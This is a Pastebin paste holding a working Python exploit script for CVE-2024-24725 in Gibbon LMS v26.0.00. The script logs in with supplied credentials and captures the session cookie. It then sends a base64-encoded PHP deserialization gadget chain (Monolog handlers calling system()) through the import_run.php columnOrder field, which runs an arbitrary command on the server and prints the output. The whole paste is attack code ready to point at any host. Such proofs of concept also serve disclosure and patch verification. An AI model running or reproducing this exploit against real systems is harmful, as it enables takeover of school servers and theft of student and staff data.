FlyFar

Gibbon LMS < v26.0.00 - Authenticated RCE - CVE-2024-24725

Mar 21st, 2024
37
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.48 KB | Cybersecurity | 0 0
  1. # Exploit Title: Gibbon LMS has a PHP Deserialization vulnerability on
  2. the v26.0.00 version
  3. # Date: 22.01.2024
  4. # Exploit Author: SecondX.io Research Team(Ali Maharramli,Fikrat
  5. Guliev,Islam Rzayev )
  6. # Vendor Homepage: https://gibbonedu.org/
  7. # Software Link: https://github.com/GibbonEdu/core
  8. # Version: v26.0.00
  9. # Tested on: Ubuntu 22.0
  10. # CVE : CVE-2024-24725
  11.  
  12. import requests
  13. import re
  14. import sys
  15. import base64
  16. import urllib.parse
  17.  
  18.  
  19. def login(target_host, target_port,email,password):
  20.      url = f'http://{target_host}:{target_port}/login.php?timeout=true'
  21.      headers = {"Content-Type": "multipart/form-data;
  22. boundary=---------------------------174475955731268836341556039466"}
  23.      data =
  24. f"-----------------------------174475955731268836341556039466\r\nContent-Disposition:
  25. form-data;
  26. name=\"address\"\r\n\r\n\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition:
  27. form-data;
  28. name=\"method\"\r\n\r\ndefault\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition:
  29. form-data;
  30. name=\"username\"\r\n\r\n{email}\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition:
  31. form-data;
  32. name=\"password\"\r\n\r\n{password}\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition:
  33. form-data;
  34. name=\"gibbonSchoolYearID\"\r\n\r\n025\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition:
  35. form-data;
  36. name=\"gibboni18nID\"\r\n\r\n0002\r\n-----------------------------174475955731268836341556039466--\r\n"
  37.      r = requests.post(url, headers=headers, data=data,
  38. allow_redirects=False)
  39.      Session_Cookie = re.split(r"\s+", r.headers['Set-Cookie'])
  40.      if Session_Cookie[4] is not None and '/index.php' in
  41. str(r.headers['Location']):
  42.          print("[X] Login successful!")
  43.  
  44.      return Session_Cookie[4]
  45.  
  46.  
  47.  
  48. def generate_payload(command):
  49.  
  50.      # Given base64-encoded string
  51.      ### Actual Payload:
  52.      ###
  53. a:2:{i:7%3BO:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"%00*%00socket"%3BO:29:"Monolog\Handler\BufferHandler":7:{s:10:"%00*%00handler"%3Br:3%3Bs:13:"%00*%00bufferSize"%3Bi:-1%3Bs:9:"%00*%00buffer"%3Ba:1:{i:0%3Ba:2:{i:0%3Bs:COMMAND_SIZE:"COMMAND"%3Bs:5:"level"%3BN%3B}}s:8:"%00*%00level"%3BN%3Bs:14:"%00*%00initialized"%3Bb:1%3Bs:14:"%00*%00bufferLimit"%3Bi:-1%3Bs:13:"%00*%00processors"%3Ba:2:{i:0%3Bs:7:"current"%3Bi:1%3Bs:6:"system"%3B}}}i:7%3Bi:7%3B}
  54.      base64_encoded_string =
  55. 'YToyOntpOjclM0JPOjMyOiJNb25vbG9nXEhhbmRsZXJcU3lzbG9nVWRwSGFuZGxlciI6MTp7czo5OiIlMDAqJTAwc29ja2V0IiUzQk86Mjk6Ik1vbm9sb2dcSGFuZGxlclxCdWZmZXJIYW5kbGVyIjo3OntzOjEwOiIlMDAqJTAwaGFuZGxlciIlM0JyOjMlM0JzOjEzOiIlMDAqJTAwYnVmZmVyU2l6ZSIlM0JpOi0xJTNCczo5OiIlMDAqJTAwYnVmZmVyIiUzQmE6MTp7aTowJTNCYToyOntpOjAlM0JzOkNPTU1BTkRfU0laRToiQ09NTUFORCIlM0JzOjU6ImxldmVsIiUzQk4lM0J9fXM6ODoiJTAwKiUwMGxldmVsIiUzQk4lM0JzOjE0OiIlMDAqJTAwaW5pdGlhbGl6ZWQiJTNCYjoxJTNCczoxNDoiJTAwKiUwMGJ1ZmZlckxpbWl0IiUzQmk6LTElM0JzOjEzOiIlMDAqJTAwcHJvY2Vzc29ycyIlM0JhOjI6e2k6MCUzQnM6NzoiY3VycmVudCIlM0JpOjElM0JzOjY6InN5c3RlbSIlM0J9fX1pOjclM0JpOjclM0J9'
  56.  
  57.      command_size = len(command)
  58.  
  59.      # Decode base64
  60.      decoded_bytes = base64.b64decode(base64_encoded_string)
  61.      decoded_string = decoded_bytes.decode('utf-8')
  62.  
  63.      # URL decode
  64.      payload = urllib.parse.unquote(decoded_string)
  65.      # Replace placeholders in the decoded string
  66.      payload = payload.replace('COMMAND_SIZE', str(command_size))
  67.      payload = payload.replace('COMMAND', command)
  68.      print("[X] Payload Generated!")
  69.      return payload
  70.  
  71.  
  72.  
  73. def rce(cookie, target_host, target_port, command):
  74.      url =
  75. f'http://{target_host}:{target_port}/index.php?q=/modules/System%20Admin/import_run.php&type=externalAssessment&step=4'
  76.      headers = {"Content-Type": "multipart/form-data;
  77. boundary=---------------------------104550429928543086952438317710","Cookie":
  78. cookie}
  79.      payload = generate_payload(command)
  80.      data =
  81. f'-----------------------------104550429928543086952438317710\r\nContent-Disposition:
  82. form-data; name="address"\r\n\r\n/modules/System
  83. Admin/import_run.php\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition:
  84. form-data;
  85. name="mode"\r\n\r\nsync\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition:
  86. form-data;
  87. name="syncField"\r\n\r\nN\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition:
  88. form-data;
  89. name="syncColumn"\r\n\r\n\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition:
  90. form-data;
  91. name="columnOrder"\r\n\r\n{payload}\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition:
  92. form-data;
  93. name="columnText"\r\n\r\nN;\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition:
  94. form-data;
  95. name="fieldDelimiter"\r\n\r\n%2C\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition:
  96. form-data;
  97. name="stringEnclosure"\r\n\r\n%22\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition:
  98. form-data;
  99. name="filename"\r\n\r\nDataStructure-externalAssessment.xlsx\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition:
  100. form-data; name="csvData"\r\n\r\n"External Assessment","Assessment
  101. Date","Student","Field Name Category","Field
  102. Name","Result"\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition:
  103. form-data;
  104. name="ignoreErrors"\r\n\r\n1\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition:
  105. form-data;
  106. name="Failed"\r\n\r\nSubmit\r\n-----------------------------104550429928543086952438317710--'
  107.  
  108.      r = requests.post(url, headers=headers, data=data,
  109. allow_redirects=False)
  110.      print("[X] Request sent!")
  111.  
  112.      start_index = r.text.find("<h2>Step 4 - Live Run</h2>")
  113.      end_index = r.text.find("<div class", start_index)
  114.      result = r.text[start_index+26:end_index].strip()
  115.      if result != '':
  116.          print("[X] Execution result: \n"+result)
  117.      else:
  118.          print("[X] Command failed or did not output anything.")
  119.  
  120.      with open("pocresponse.html", "wb") as f:
  121.          f.write(r.content)
  122.  
  123. if __name__ == '__main__':
  124.      if len(sys.argv) != 6:
  125.          print("[X] Usage: script.py <target_host> <target_port> <email>
  126. <password> <command>")
  127.          sys.exit(1)
  128.      cookie = login(sys.argv[1], sys.argv[2],sys.argv[3],sys.argv[4])
  129.      rce(cookie, sys.argv[1], sys.argv[2], sys.argv[5])
  130.            
Add Comment
Please, Sign In to add comment